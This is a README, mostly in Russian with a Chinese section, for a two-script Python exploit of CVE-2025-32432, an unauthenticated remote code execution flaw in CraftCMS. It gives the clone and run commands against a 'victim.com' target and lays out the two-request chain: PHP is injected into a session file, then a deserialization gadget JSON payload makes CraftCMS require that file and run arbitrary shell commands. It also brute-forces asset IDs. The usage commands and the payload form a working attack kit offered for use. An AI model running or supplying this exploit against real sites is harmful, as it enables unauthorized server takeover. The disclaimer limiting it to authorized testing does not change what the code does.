
Python-эксплойт для CVE-2025-32432, RCE без аутентификации в конечной точке asset-transform в CraftCMS. Включает цепочку из двух пакетов для выполнения произвольных команд оболочки через гаджеты десериализации.
Pre-auth Remote Code Execution для CraftCMS 3.x / 4.x / 5.x
Поддерживающий PoC: C.T.Y. (только для исследований)
Обнаружение уязвимости: Nicolas Bourras – Orange Cyberdefense
Дополнительное вдохновение для PoC: Исследования SensePost и публичный скрипт Chirag Artani
Этот репозиторий содержит два взаимодополняющих эксплойта на Python для CVE-2025-32432 — предварительно аутентифицированного RCE в конечной точке преобразования ресурсов CraftCMS.
| Скрипт | Назначение |
|---|
craftcms_rce_php_check.py | Проверка безопасности — отправляет один запрос, используя гаджет FnStream, чтобы проверить выполнение произвольного PHP (выводит phpinfo()). Идеально для низкорискового подтверждения. |
craftcms_final_payload.py | Полноценный эксплойт — цепочка из двух пакетов: сначала внедряет PHP через FnStream, затем использует гаджет FieldLayoutBehavior → PhpManager для выполнения любой команды оболочки. |
Второй скрипт описан в этом README.
Первый скрипт включён для полноты и быстрой проверки, предоставлен Chirag Artani — см. Благодарности.
Имя файла скрипта было адаптировано для ясности; оригинальная структура и идея принадлежат Chirag Artani.
Только для образовательного и разрешённого тестирования безопасности.
Использование этих скриптов против систем без явного письменного разрешения является незаконным и неэтичным.
assetId (эвристика 404 → 302)-c/--cmd)pip install -r requirements.txt):
requestsurllib3# Клонируйте репозиторий
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# Установите зависимости
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victim.com
Если вы видите вывод phpinfo(), цель, скорее всего, уязвима.
python3 craftcms_final_payload.py -u https://victim.com -c "id"
| Параметр | Длинная форма | Описание | Обязательный |
|---|---|---|---|
-u | --url | Базовый URL цели (без завершающего слеша) | ✅ |
-c | --cmd | Команда оболочки для выполнения | ✅ |
-a | --asset | Известный корректный assetId | ❌ |
-s | --scan-max | Лимит перебора (по умолчанию: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> записывает произвольный PHP в /tmp/sess_<ID>.actions/assets/generate-transform с гаджетом FieldLayoutBehavior → PhpManager заставляет CraftCMS выполнить require() файла сессии, выполняя код.{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId)phpinfo (craftcms_rce_php_check.py) и ранние исследовательские идеи
Имя файла скрипта было адаптировано для ясности; оригинальная структура и идея принадлежат Chirag Artani.Уведомление об ответственности: Любые юридические риски или ущерб, возникшие в результате использования этого кода, полностью лежат на пользователе.
Лицензия MIT — см. LICENSE.
| 檔案 | 用途 |
|---|---|
craftcms_rce_php_check.py | PHP 執行可行性檢查:單一請求,使用 FnStream 觸發 phpinfo(),以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。 |
craftcms_final_payload.py | 兩包鏈完整利用:先以 FnStream 植入 PHP,再透過 PhpManager 執行任意指令。 |
僅供教學與合法授權測試使用。未經授權操作即屬違法。
python3 craftcms_rce_php_check.py -u https://目標站
python3 craftcms_final_payload.py -u https://目標站 -c "id"
參數與英文版相同。
phpinfo 檢查腳本
此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。使用本程式碼造成之任何法律風險與損失,由使用者自行承擔。
MIT License